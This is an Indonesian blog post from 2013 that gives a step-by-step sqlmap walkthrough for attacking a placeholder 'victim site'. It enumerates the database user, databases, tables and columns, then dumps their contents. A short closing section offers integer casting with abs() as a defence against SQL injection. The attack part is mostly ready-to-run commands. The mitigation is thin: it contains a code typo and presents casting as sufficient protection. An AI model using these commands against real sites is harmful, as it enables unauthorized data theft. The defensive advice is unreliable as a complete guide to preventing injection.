Posted by : Hacker Hunters Monday, November 4, 2013

Pertama - tama, apa itu SQL injection? Kalau menurut gue, SQL injection adalah salah satu teknik hacking pada sebuah website dinamis  menggunakan metode GET atau POST dengan memanfaatkan kelemahan yang disebabkan karena kelalaian sang programmer atau dari server itu sendiri.

1. How to Attack a DynamicWeb with sqlmap.

Oke langsung ke step pertama. Untuk melakukan serangan ini, dibutuhkan alat bernama sqlmap. Kalau anda pengguna OS BackTrack, tool ini sudah ada alias siap pakai. Sedangkan untuk anda pengguna Ubuntu biasa, untuk mendapatkan alat ini cukup menambahkan repository backtrack dan install melalui metode apt-get install. Cara menginstall sqlmap pada ubuntu gaakan gue bahas, jadi monggo googling. Soalnya kalo dibahas disini topik bisa melenceng. Selain sqlmap, yang kita butuhkan adalah target dari rencana penyerangan ini. Sudah ada kan targetnya? Oke kita lanjut ke step berikutnya.

Catatan: Sangat disarankan kalau target dari serangan ini adalah web anda sendiri, anda akan tahu alasannya setelah anda mencoba sendiri metode serangan ini pada web anda.

Step kedua. Run sqlmap, lalu yang pertama kali dilakukan adalah fetch banner (mysql) dengan menggunakan perintah berikut:


python sqlmap.py -u http://situskorban/displaydata.php?id=1 --banner --random-agent --threads 10
 melakukan fetch banner dari suatu DBMS itu sangat penting, karena dengan melakukan injeksi pancingan ke web, sqlmap akan mendapatkan route map dari injeksi website tersebut, sehingga serangan injeksi selanjutnya akan lebih mudah bagi sqlmap. Dan jika terdapat pesan yang menyatakan bahwa parameter 'id' tidak injectable & tidak vulnerable, maka yang harus anda pikirkan adalah cara lain untuk menghajar web target. Dan jika parameter 'id' injectable & vulnerable, maka langkah selanjutnya adalah melihat user dan database yang sedang digunakan dengan flag --current-user dan --current-db
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 --current-user --current-db
Selanjutnya, kita akan melihat daftar database yang dapat dihandle oleh user tadi dengan flag --dbs. Kita dapat melihat database apa saja yang dapat kita serang.
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 --dbs
Nah udah dapet kan nama database nya? Nah langkah selanjutnya adalah melihat tabel dari database tersebut dengan flag --tables. Kita akan mengetahui tabel mana yang akan kita intip isinya.
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 -D nama_database --tables
Setelah kita dapatkan tabel yang akan kita intip, langkah selanjutnya adalah melihat kolom apa saja yang terdapat pada tabel tersebut dengan flag --columns. Kita akan menentukan kolom mana yang akan kita lihat isinya.
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 -D nama_database -T nama_tabel --columns
Udah tau kolom mana yang akan dilihat isinya? Ayo kita dump dengan flag --dump.
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 -D nama_database -T nama_tabel -C nama_kolom1, nama_kolom2 --dump
Dan voila, lihat apa yang terjadi. Hasil dump dari database bisa anda lihat juga di file berekstensi .csv di folder log web tersebut.

2. How to Avoid SQL Injection Attack.

Sekarang, gue mau menjelaskan salah satu cara untuk menghindari serangan SQL injection ini.

Kita tahu kan kalau website yang dijadikan target dari serangan ini adalah website yang memiliki url berparameter, contohnya: http://situskorban/displaydata.php?id=1. disini yang dimaksud sebagai parameter adalah 'id' dan '1' itu adalah angka yang menunjuk pada sebuah data yang sedang ditampilkan.

Seorang hacker akan menyerang dengan cara menyisipkan query pada url website target.

Bagaimana cara menghilangkan query yang disisipkan pada parameter url?

Pada url http://situskorban/displaydata.php?id=1 dan pada script displaydata.php ini biasanya terdapat syntax seperti ini:

1
$id = $_GET['id'];
Nah untuk menghilangkan query yang disisipkan pada parameter 'id', kita dapat menggunakan teknik "casting". Dengan mengcasting nilai parameter menjadi integer / bilangan bulat.
Caranya dengan merubah syntax tadi menjadi:

1
$id = (int) $_GET['id];
Akan menjadi lebih baik jika kita rubah menjadi absolute integer. jadi syntaxnya menjadi seperti ini:

1
$id = abs((int) $_GET['id']);
Fungsi abs() ini sangat berguna untuk menangkal serangan SQL injection yang memanfaatkan negative number.
Teknik diatas juga dapat diterapkan pada metode $_POST pada form.

Oh iya, teknik ini juga udah gue coba, dan hasilnya memuaskan. Awalnya, web gue dapat dengan mudahnya diserang, tapi setelah menerapkan teknik ini, web gue ga bisa ditembus dengan cara - cara yang tadi gue jelasin. Ini buktinya: 

Leave a Reply

Subscribe to Posts | Subscribe to Comments

Etiam placerat

Total Pageviews

 

Recent Post

Powered By Blogger

Pages - Menu

Datos personales

My photo
Ridwan: Anak Keluarga Besar Badan Intelijen Negara (BIN) dan Korwil Jak- Sel FKPPI. Putra Purn TNI-AD Intelijen Kostard. Dan Sering ikut lomba " id sirtii kominfo".

Followers

Nav menu

- Copyright © Belajar Backtrack dan Ubuntu - Hatsune Miku - Powered by Blogger - Designed by Johanes Djogan -